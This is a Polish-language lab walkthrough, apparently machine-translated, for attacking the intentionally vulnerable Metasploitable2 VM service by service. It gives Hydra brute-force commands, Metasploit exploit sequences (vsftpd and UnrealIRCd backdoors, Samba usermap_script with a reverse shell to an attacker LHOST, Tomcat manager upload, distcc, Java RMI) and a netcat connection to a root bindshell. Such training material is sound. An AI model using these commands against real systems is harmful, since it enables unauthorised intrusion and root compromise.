- Metasploitable2 Complete Overview
- Eksploracja wszystkich portów w różnych technikach :
- 22-.SSH
- 23-TELNET
- 25-SMTP
- Metoda 2
- 139&445 Netbios-SSN
- 1099-Java-.RMI
- Exploiting java-RMI-server
- 1524-BINDSHELL
- Exploitation
- 2121-ProFTPD
- 3306-MYSQL
- 3632-DISTCCD
- Eksploatacja portu 3632 za pomocą distcc-.exec
- Eksploracja PostgreSQL z postgre_payload
- 5900-VNC
- 6000-X11
- Exploiting portu 6000 using ssh
- 6667 & 6697 UnrealIRCD
- Metoda 1: na porcie 6667
- Metoda 2: Na porcie 6697
- 8180-TOMCAT
- Exploiting Apache-Tomcat
- 8787-Ruby-drb
Metasploitable2 Complete Overview
Metasploitable jest celowo podatną na ataki maszyną wirtualną z systemem Linux.
Ta maszyna wirtualna może być używana do przeprowadzania szkoleń z zakresu bezpieczeństwa, testowania narzędzi bezpieczeństwa i ćwiczenia typowych technik testów penetracyjnych.
Instalacja i konfiguracja
Jesteśmy tutaj, aby wykorzystać Metasploitable 2 (cholernie podatna maszyna do testów penetracyjnych)
Uzyskaj tę maszynę Metasploiable2 od https://information.rapid7.com/download-metasploitable-2017.html
Proces instalacji:
- Otwórz VirtualBox i kliknij na przycisk „New” aby utworzyć nową maszynę wirtualną
- Podaj nazwę maszyny wirtualnej(Metasploitable2)
- Allocate the amount of memory(Preferable but not below 512mb)
- Wybierz Use an existing hard disk file
- Wybierz plik vmdk, który pobrałeś z Rapid7
- Kliknij na Create….!!! Pomyślnie zainstalowano Metasploitable2, Teraz czas na konfigurację ustawień sieciowych.
Po instalacji zmień ustawienia karty sieciowej w następujący sposób :
Ustawienia sieciowe: Settings/Network/Adapter wybierz Ethernet lub Wireless
W zakładce Advanced wybierz: Promiscuous Mode jako Allow All
![](https://miro.medium.com/max/60/1*VSstOkeKhw9B2Lvlb-Z4mg.png?q=20)
Uruchom maszynę Metasploitable2 i spróbuj się zalogować używając podanych danych uwierzytelniających na Bannerze…!!!!
![](https://miro.medium.com/max/60/1*Uw2ChbksEycBDYjo2KhtHw.png?q=20)
Znajdź adres IP maszyny za pomocą polecenia w terminalu
ifconfig
![](https://miro.medium.com/max/60/1*9cHSRAVAYygkJ-YsKQrvRQ.png?q=20)
To wszystko jeśli chodzi o konfigurację…..Let’s Start Hacking…
Scanning
Scanning the Matasploitable 2
Jak zauważyliśmy adres IP maszyny to 192.168.0.130
Zacznijmy skanowanie za pomocą Nmapa, który jest częścią Kali Linux
nmap -sV -p- 192.168.0.130
![](https://miro.medium.com/max/60/1*UQ35-QNzGwWf18mx6xQKTQ.png?q=20)
Eksploracja wszystkich portów w różnych technikach :
Metoda 1:
Login z Anonymous jako nazwą użytkownika i bez hasła.
Jeśli potrzebujesz więcej informacji o Anonimowym FTP, możesz je znaleźć tutaj.
https://whatis.techtarget.com/definition/anonymous-FTP-File-Transfer-Protocol
ftp 192.168.0.130
![](https://miro.medium.com/max/60/0*fYCiFwlmObAQNsDw.png?q=20)
Metoda 2 :
Poprzez Brute-force używając Hydry, ale musisz mieć własną listę nazw użytkowników i haseł.
hydra -L /root/Desktop/USERNAMES.txt -P /root/Desktop/PASSWORDS.txt <Target IP Address> ftp -V
![](https://miro.medium.com/max/60/0*-SYuhM3H-jKhrE6p.png?q=20)
Pobierze on każdą nazwę użytkownika i hasło z podanych plików i spróbuje zalogować się do docelowej usługi FTP.
Po znalezieniu danych uwierzytelniających możesz się bezpośrednio zalogować.
![](https://miro.medium.com/max/60/0*02Y7cHT8_t22wPUk.png?q=20)
Po zalogowaniu się na konto użytkownika, możesz uzyskać dostęp do roota poprzez eskalację przywilejów.
Metoda 3 :
Exploiting FTP poprzez Metasploit framework
otwórz konsolę Metasploit framework i wyszukaj vsftpd Backdoor exploit
msfconsole
Search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
![](https://miro.medium.com/max/60/0*Knb16UXXs6g5yLIK.png?q=20)
.
show options
![](https://miro.medium.com/max/60/0*XHnXUfeAFAhSBqhs.png?q=20)
set RHOSTS 192.168.0.130 --> <target IP address>exploit
Gratuluję Ci uzyskania dostępu do roota
22-.SSH
Secure Shell (SSH) to kryptograficzny protokół sieciowy do bezpiecznego korzystania z usług sieciowych w niezabezpieczonej sieci.
Wykorzystanie SSH w różnych technikach
Metoda 1
Złamanie nazwy użytkownika i hasła za pomocą Hydry
Hydra jest wbudowanym narzędziem w Kali-Linux używanym do ataku Brute Force jest metodą prób i błędów stosowaną przez programy użytkowe w celu odszyfrowania zaszyfrowanych danych, takich jak hasła lub klucze Data Encryption Standard (DES), poprzez wyczerpujący wysiłek (przy użyciu brute force), a nie stosowanie strategii intelektualnych.
hydra -L <Usernames_List> -P <Passwords_List> <Target ip address> <Service>
![](https://miro.medium.com/max/60/1*S3TWAEoPYomB4io-hUhnaw.png?q=20)
Metoda 2
Otwórz Metasploit framework
Otwórz terminal i wpisz następujące komendy :
service postgresql startmsfconsolesearch ssh_loginuse auxiliary/scanner/ssh/ssh_login
ustaw ten pomocniczy i zobacz, czego wymaga.
set RHOSTS <target IP Address> --> in my case 192.168.0.130
![](https://miro.medium.com/max/60/1*N6hsvFoDtSv-ppS9EXrzFg.png?q=20)
Ustaw predefiniowaną listę nazw użytkowników i listę haseł
set USER_FILE <Username file Path>set PASS_FILE <Password file Path>exploit
Wykorzysta ona czasowo listę nazw użytkowników i haseł oraz powiadomi o nazwie użytkownika: haśle i zaloguje się przy użyciu tych poświadczeń.
ssh username@targetipaddress
![](https://miro.medium.com/max/60/1*07nc_mpHy8xSE-PxScUBVg.png?q=20)
Masz dostęp użytkownika, nie możesz wykonać wszystkich zadań, więc spróbuj uzyskać dostęp roota poprzez eskalację przywilejów.
23-TELNET
Telnet to prosty, tekstowy protokół sieciowy, który jest używany do uzyskiwania dostępu do zdalnych komputerów przez sieci TCP/IP, takie jak Internet. Telnet został stworzony i uruchomiony w 1969 roku i, historycznie rzecz biorąc, można powiedzieć, że był to pierwszy Internet.
telnet <target IP Address> --> 192.168.0.130
![](https://miro.medium.com/max/60/1*62BO18QJSJK_XqvMgcxiYg.png?q=20)
Domyślnie będzie Grab Metasploitable 2 banner, pokazuje, że Zaloguj się z msfadmin/msfadmin, aby rozpocząć. Po prostu wprowadź te poświadczenia i jesteś w.
25-SMTP
SMTP jest częścią warstwy aplikacji protokołu TCP/IP. Używając procesu zwanego „store and forward”, SMTP przenosi wiadomości e-mail do i przez sieci. Ściśle współpracuje z czymś, co nazywa się Mail Transfer Agent (MTA), aby wysłać twoją wiadomość do właściwego komputera i skrzynki odbiorczej.
Metoda 1:
Używanie Metasploit
Uruchom Metasploit, wykonując polecenia
service postgresql startmsfconsole -qsearch smtp_version
![](https://miro.medium.com/max/60/1*HDoasq8KVq_1g8P0J8FGJA.png?q=20)
.
use auxiliary/scanning/smtp/smtp_version (or) you can type use 0show optionsset RHOST 192.168.0.130exploit (or) runshow optionsset RHOST 192.168.0.130exploit (or) run
![](https://miro.medium.com/max/60/1*lxHNuEGVcNXrMRMvgjGtOA.png?q=20)
SMTP oznacza Simple Mail Transport Protocol i jest protokołem typu serwer-na-serwer.do serwera i utrzymuje lokalną bazę danych użytkowników, do których musi wysyłać i odbierać e-maile.
SMTP posiada zestaw poleceń. Zamierzamy połączyć się z naszym celem za pomocą „netcat” przez port 25 i spróbować pozyskać tę bazę e-maili.
Otwórz nowy terminal i wpisz:
nc 192.168.0.130 25
![](https://miro.medium.com/max/60/1*m2brilnax3EsuEhE_UjDVw.png?q=20)
Teraz połączenie jest ustanowione możesz zweryfikować za pomocą komend „SMTP”
Type: vrfy user
vrfy (To jest nie-interaktywna powłoka)
![](https://miro.medium.com/max/60/1*5E_z5En7Hbq3u7Iq6GoHZw.png?q=20)
Dla komend SMTP odwiedź: http://www.tcpipguide.com/free/t_SMTPCommands-2.htm
Metoda 2
Używanie smtp_enum
To może być zrobione przez Metasploit
search smtp_enum
.
![](https://miro.medium.com/max/60/1*iBKtnCbJNOMqw21YfgKymA.png?q=20)
use auxiliary/scanner/smtp/smtp_enum
![](https://miro.medium.com/max/60/1*mgH2hHaOqBllWZCuWOHISA.png?q=20)
show optionsset RHOST 192.168.0.130exploit
![](https://miro.medium.com/max/60/1*bOcgQgn76dolJi7h8o35xQ.png?q=20)
Ta metoda używa wyliczenia, aby znaleźć tę listę użytkowników w usłudze SMTP.
Później NetCat może być pomocny, aby uzyskać odwrotne połączenie z tym użytkownikiem.
139&445 Netbios-SSN
Samba jest projektem open-source, który jest szeroko stosowany na komputerach z systemem Linux i Unix, dzięki czemu mogą one współpracować z usługami plików i drukowania systemu Windows.
Możemy nawet użyć Samby jako serwera Active do obsługi logowania, uwierzytelniania i kontroli dostępu w sieci Windows.
Szukaj exploita
![](https://miro.medium.com/max/60/1*z33N25rYFsp7VaFduYiDEQ.png?q=20)
use exploit/multi/samba/usermap_script
![](https://miro.medium.com/max/60/1*pdC5TVBoy2z7vFEnTiCZig.png?q=20)
.
Aby wyświetlić opcje dla exploita
![](https://miro.medium.com/max/60/1*VYJx1_bhMoAUM1EiED6CEA.png?q=20)
show optionsSet RHOST192.168.0.130 (Target IP address)
.
ustawienie payload
Show payloadsSet payload cmd/unix/reverse
![](https://miro.medium.com/max/60/1*EiITsOW6KFNJYXYAxKgSwQ.png?q=20)
ustawienie wymaganych argumentów dla payload
Show optionsSet LHOST 192.168.0.109 (Attackers IP Address)Set LPORT 4444
![](https://miro.medium.com/max/60/1*R3rrN2d6ziqVPteCmU4LOg.png?q=20)
Sprawdź, gdy wszystkie wymagane argumenty są wypełnione
exploit
1099-Java-.RMI
Remote Method Invocation (RMI) to interfejs API, który pozwala obiektowi wywołać metodę na obiekcie, który istnieje w innej przestrzeni adresowej, która może być na tej samej maszynie lub na maszynie zdalnej.
Exploiting java-RMI-server
wyszukaj exploit
search java_rmi_server
![](https://miro.medium.com/max/60/1*_zYb54pt1YOzPuIBSYpcAQ.png?q=20)
wybierz exploit zgodnie z jego rangą. na przykład „doskonały” działa lepiej niż „normalny”.
use exploit/multi/misc/java_rmi_servershow optionsset RHOSTS <target's IP>exploit
![](https://miro.medium.com/max/60/1*EVCZgjE0nZeFiy5vXkG3Lw.png?q=20)
Uzyskaliśmy dostęp do maszyny docelowej.
1524-BINDSHELL
Bind shell to rodzaj powłoki, w której maszyna docelowa otwiera port komunikacyjny lub listener na maszynie ofiary i czeka na połączenie przychodzące. Atakujący następnie łączy się z listenerem maszyny ofiary, co prowadzi do wykonania kodu lub polecenia na serwerze.
Exploitation
Jest to powłoka roota, więc możemy połączyć się przez usługę netcat.
nc <target ip address> 1524
![](https://miro.medium.com/max/60/1*mhVj6lzA9_RrM6dtGccH2Q.png?q=20)
Gratulacje, Jesteś teraz użytkownikiem root.
2121-ProFTPD
Przed wykorzystaniem tego portu musisz mieć dane logowania, więc jak wiemy metodę można uzyskać poprzez technikę Brute-force, Możemy uzyskać dostęp do ProFTPd za pomocą telnetu, Używamy tutaj użytkownika: user.
telnet <Taget IP Address> <Port Number>USER <username>
PASS <password>
![](https://miro.medium.com/max/60/1*fp_RFtMdvKT7PlqL9kjLoQ.png?q=20)
To jest normalny użytkownik, Spróbuj Privilege Escalation aby uzyskać kontrolę roota.
3306-MYSQL
Metoda 1:
wyszukanie exploita
search scanner/mysql/mysql_login
![](https://miro.medium.com/max/60/1*UdL95GXKiNQbC78C4ZH_8g.png?q=20)
use auxiliary/scanner/mysql/mysql_login
.
![](https://miro.medium.com/max/60/1*0SZZZg4S-vxfy-2o-NXP4Q.png?q=20)
Czasami może się zdarzyć, że mamy puste hasło do MySQL. Więc możemy to bezpośrednio wykorzystać.
Uwaga: domyślnie pokazuje BLANK_PASSWORDS jako false, ustaw na true.
set BLANK_PASSWORDS as true
![](https://miro.medium.com/max/60/1*j999i0gv0-iXQ8i79hCppA.png?q=20)
Metoda:2
W tej metodzie, zamierzamy wykorzystać MySQL używając tej komendy podając nazwę użytkownika jako root i IP celu.
mysql -u root -h <target's IP>
![](https://miro.medium.com/max/60/1*lwuzVdFnfn94z4f-GkZc_Q.png?q=20)
3632-DISTCCD
Distcc jest narzędziem służącym do przyspieszenia kompilacji kodu źródłowego poprzez wykorzystanie obliczeń rozproszonych w sieci komputerowej. Przy odpowiedniej konfiguracji
distcc może drastycznie zmniejszyć czas kompilacji projektu
Eksploatacja portu 3632 za pomocą distcc-.exec
Otwórz msfconsole i wyszukaj distcc_exec
search distcc_execshow options
Ustaw wymagane argumenty do exploita
set RHOSTS <target-ip>exploit
![](https://miro.medium.com/max/60/1*9uxKEQNVlM0cvtSq6_Ugjg.png?q=20)
Uzyskaliśmy dostęp do powłoki….Spróbuj wykonać eskalację przywilejów dla wyższych uprawnień
Eksploracja PostgreSQL z postgre_payload
Otwórz msfconsole &wyszukaj postgres_payload
search postgres_payloaduse exploit/linux/postgres/postgres_payloadshow options
![](https://miro.medium.com/max/60/1*WTWI_MkkyFLzrzqCAiglJQ.png?q=20)
Ustaw wymagane argumenty dla exploita
set RHOSTS <target-ip>
Domyślnie, użyje nazwy użytkownika jako postgres
exploit
![](https://miro.medium.com/max/60/1*pP1YsyK46c-V8GDtClEntg.png?q=20)
Pomyślnie zalogowano się do postgresql…Let’s get a shell for doing more stuff…
![](https://miro.medium.com/max/60/1*QkqXDY8mEFkfq0H18aakIQ.png?q=20)
Spróbuj zrobić privilege escalation…Happy learning..!!!
5900-VNC
Otwórz msfconsole i wyszukaj exploit vnc_login
search vnc_loginuse auxiliary/scanner/vnc/vnc_login
![](https://miro.medium.com/max/60/1*SXZExxNFP7_6bpcnxcdJdQ.png?q=20)
show optionsset RHOSTS <targets IP>set PASS_FILE <filepath that contains passwords>run (or) exploit
![](https://miro.medium.com/max/60/1*YOXG156_QkV20aGSntxQHA.png?q=20)
show optionsset RHOSTS <targets IP>set PASS_FILE <filepath that contains passwords>run (or) exploit
![](https://miro.medium.com/max/60/1*YOXG156_QkV20aGSntxQHA.png?q=20)
Ta metoda jest wykorzystywana do wykorzystania oprogramowania VNC hostowanego na systemach operacyjnych Linux, Unix lub Windows z luką w uwierzytelnianiu.
Próbuj połączyć się z vnc za pomocą tego hasła
Otwórz przeglądarkę Vnc w Terminalu & Wpisz adres IP i połącz
pojawił się monit logowania i poprosi o podanie danych uwierzytelniających
![](https://miro.medium.com/max/60/1*VydR0rGz8uG4zqwFL4XWiQ.png?q=20)
Następnie wprowadź hasło i kliknij OK.
![](https://miro.medium.com/max/60/1*ffJoRORhAF-HJYXs5qq77A.png?q=20)
Voilaaa…!!! masz Access…wiem co teraz myślisz…nie zadzieraj z rzeczami wokół..Happy Learning.
6000-X11
The X Window System (aka X) jest systemem okienkowym dla wyświetlaczy bitmapowych, który jest powszechny w systemach operacyjnych opartych na UNIX. X zapewnia podstawowe ramy dla środowiska opartego na GUI.
Zdalny serwer X11 akceptuje połączenia z dowolnego miejsca, w którym można uzyskać połączenie z Internetem. Jest on odpowiedzialny za dostęp do kart graficznych, urządzeń wejściowych i ekranu wyświetlacza w komputerze lub urządzeniu bezprzewodowym.
Exploiting portu 6000 using ssh
ssh -X -l msfadmin 192.168.0.122
W powyższym poleceniu 'X’ włącza przekierowanie wszystkich portów, podając nazwę użytkownika i IP celu daje nam powłokę
![](https://miro.medium.com/max/60/1*Vyb02axWjpWfYDoUiPs3gg.png?q=20)
6667 & 6697 UnrealIRCD
UnrealIRCd jest otwartoźródłowym serwerem IRC, obsługującym tysiące sieci od 1999 roku. Działa na systemach Linux, OS X i Windows
UnrealIRCd jest wysoce zaawansowanym IRCd z silnym naciskiem na modularność, zaawansowany i wysoce konfigurowalny plik konfiguracyjny. Kluczowe funkcje obejmują SSL
UnrealIRCd jest jednym z najpopularniejszych i w pełni funkcjonalnych demonów IRC i jest używany na największej liczbie serwerów IRC
Serwer ten jest opisywany jako posiadający prawdopodobnie najwięcej funkcji bezpieczeństwa spośród wszystkich serwerów IRC.
Używane protokoły: Internet Relay Chat
Let’s Exploit this IRC Server.
Metoda 1: na porcie 6667
search unrealircduse exploit/unix/irc/unreal_ircd_3281_backdoorshow options
![](https://miro.medium.com/max/60/1*us0a-BAw-YlV7T8IvEJWXg.png?q=20)
Ustaw wymagane argumenty dla exploita
set RHOSTS <target-ip>
.
domyślnie numer portu 6667 jest przypisany do exploita
run (or) exploit
![](https://miro.medium.com/max/60/1*aDlVpN4xMSXtotMCryZdag.png?q=20)
Heyyy….Mamy korzeń…Żyjemy na krawędzi…
Metoda 2: Na porcie 6697
Użyj powyższego exploita i ustaw wymagane argumenty
- Tym razem ustaw port jako 6697
set RHOSTS <target-ip>set RPORT 6697
![](https://miro.medium.com/max/60/1*vFQdQLxZWrTIiTaL0kzr2Q.png?q=20)
I za drugim razem również mamy roota….Try to Exploit this…Happy learning
8180-TOMCAT
Apache Tomcat jest otwartą implementacją technologii Java Servlet, JavaServer Pages, Java Expression Language oraz WebSocket. Tomcat udostępnia środowisko serwera HTTP „czystej Javy”, w którym może być uruchamiany kod Javy.
Exploiting Apache-Tomcat
Można to zrobić w dwóch krokach:
Otworzyć msfconsole &wyszukać tomcat_mgr_login
search tomcat_mgr_loginset RHOSTS <target-ip>
![](https://miro.medium.com/max/60/1*PSqEiChjjER4H-1zmpoQRQ.png?q=20)
show options
Exploit przypisze domyślne listy nazw użytkowników &haseł. Po ustawieniu argumentów do exploita Type exploit (or) run
run
![](https://miro.medium.com/max/60/1*iRu-GSEQR13fp8Xc7m3Gjg.png?q=20)
Pobierz tę samą nazwę użytkownika i hasło i podaj je następnemu exploitowi.
wyszukaj exploity dla tomcat manager
search tomcat_mgr_uploaduse exploit/multi/http/tomcat_mgr_uploadshow options
![](https://miro.medium.com/max/60/1*uctam49NCu2QHi1eRqmwew.png?q=20)
ustaw RHOSTS, RPORT, oraz HttpPassword, HttpUsername, które otrzymaliśmy z exploita logowania tomcat, a następnie uruchom exploita.
![](https://miro.medium.com/max/60/1*nKE1ZXBkRopWtUGqTbz69w.png?q=20)
msfconsole może przypisać odpowiedni payload dla exploita, dlatego mamy meterpreter…
8787-Ruby-drb
dRuby jest rozproszonym systemem obiektowym dla Rubiego. Jest napisany w czystym Rubim i używa jego protokołu.
Nie są potrzebne żadne dodatkowe usługi poza tymi dostarczanymi przez czas uruchamiania Rubiego, takie jak gniazda TCP.
search drb_remote_codeexec
Ustaw wymagane argumenty do exploita
![](https://miro.medium.com/max/60/1*06NFXBcoWO071iSe79cBCw.png?q=20)
show optionsset RHOSTS <target-ip>exploit (or) run
Gratulacje, że uzyskałeś dostęp do powłoki roota… spróbuj użyć niektórych poleceń powłoki.